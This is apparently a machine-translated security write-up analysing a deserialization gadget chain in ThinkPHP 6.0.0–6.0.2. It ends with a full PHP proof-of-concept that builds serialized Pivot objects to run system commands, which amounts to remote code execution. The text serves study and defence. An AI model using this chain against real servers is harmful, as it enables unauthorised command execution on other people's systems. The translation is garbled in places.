Impact Version
Thinkphp6.0.0~6.0.2
Environment Setup
Phpstudy:
- OS: Windows
- PHP: 7.3.4
- ThinkPHP: 6.0.1
Create a test environment:
composer create-projec topthink/think:6.0.* tp6.0.1
Then enter composer.json modifies "topthink/framework": "6.0.1" and executes composer update
Create entry points:
app/controller/Index.php
<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { if(isset($_POST['data'])){ unserialize(($_POST['data']); }else{ highlight_file(__FILE__); } } }
Vulnerability Analysis
In ThinkPHP5. In the POP chain of x, the entries are the think\process\pipes\Windows class, through which u of any class is triggered ToString method. But ThinkPHP6. The code for X removes the think\process\pipes\Windows class and the POP chain_u Gadget s still exist after toString, so we have to continue looking for triggers The point of the toString method.
First you need to find u destruct function, available in vendor\topthinkthink-ormsrc\Model. PHP
If $this->lazySave is true, enter the save() function and follow up
You need to satisfy the if statement to get to the next step, so follow up on these two functions
For $this->isEmpty(), you need to satisfy that $this->data is not empty
For $this->trigger(), satisfying $this->withEvent == false returns true
Enter after
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
The updateData() method can continue to be used according to the Master's route, where $this->exists=true is required
Follow-up updateData() method
Our utilization point is checkAllowFields(), which needs to satisfy the first two if statements
Required by analysis
- $this->withEvent == false
- $this->force == true, and $this-data is not empty
Next follow the checkAllowFields() function
We need to go into $this->db(), and we also need to satisfy the previous if statement, which is empty by default and does not need to be constructed
Follow up db()
With string splicing and two values under control, you can trigger u toString() method
Global Search_u toString() method, using point at vendor\topthink\think-orm\src\model\concernConversion. PHP
Follow up on toJson()
Follow up on toArray()
Traverse through $data, $data comes from $this->data, enters the second elseif statement by default, $key calls the getAttr() function as an argument, and continues:
View getData methods
Here, $name is the $key passed in, follow up on the getRealFieldName() method
The final getAttr() return value is
return $this->getValue($name, $value, $relation);
The parameter $name is the $key passed in from toArray(), and the value of the parameter $value is $this->data[$key]
Follow up getValue()
Ultimately utilized at
$value = $closure($value, $this->data);
When the $this->withAttr array has the same key $key as $date and the value corresponding to that key cannot be an array, $this->withAttr[$key] (the value corresponding to the withAttr array $key) is executed dynamically as a function name with the parameter $this->date[$key]
We control:
$this->withAttr = ["key" => "system"]; $this->data = ["key" => "whoami"];
Finally RCE is possible
POP Chain Construction
Overall Utilization Chain
__destruct ↓ save() ↓ updateData() ↓ checkAllowFields() ↓ db() ↓ name($this->name . $this->suffix) ↓ __toString() ↓ toJson() ↓ toArray() ↓ getAttr() ↓ getValue() ↓ $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data);
It is important to note that the Model class is abstract and cannot be instantiated. You need to find a subclass of the Model class to instantiate it, which you can use with the Pivot class.
Final construction POC:
<?php namespace think\model\concern; trait Attribute { private $data = ["snakin" => "whoami"]; private $withAttr = ["snakin" => "system"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; } } namespace think\model; use think\Model; class Pivot extends Model{} echo urlencode(serialize(new Pivot(new Pivot())));
Write after
The chain seems to have expired during the actual test, github does not have a commit record officially, nor does he find anything wrong with his Taicai dish (ps. Did a teacher tell me) to whine, but the chain can still be analyzed, learning is not humiliating.
Reference link:
https://blog.csdn.net/rfrder/article/details/114686095
https://blog.csdn.net/qq_42181428/article/details/105777872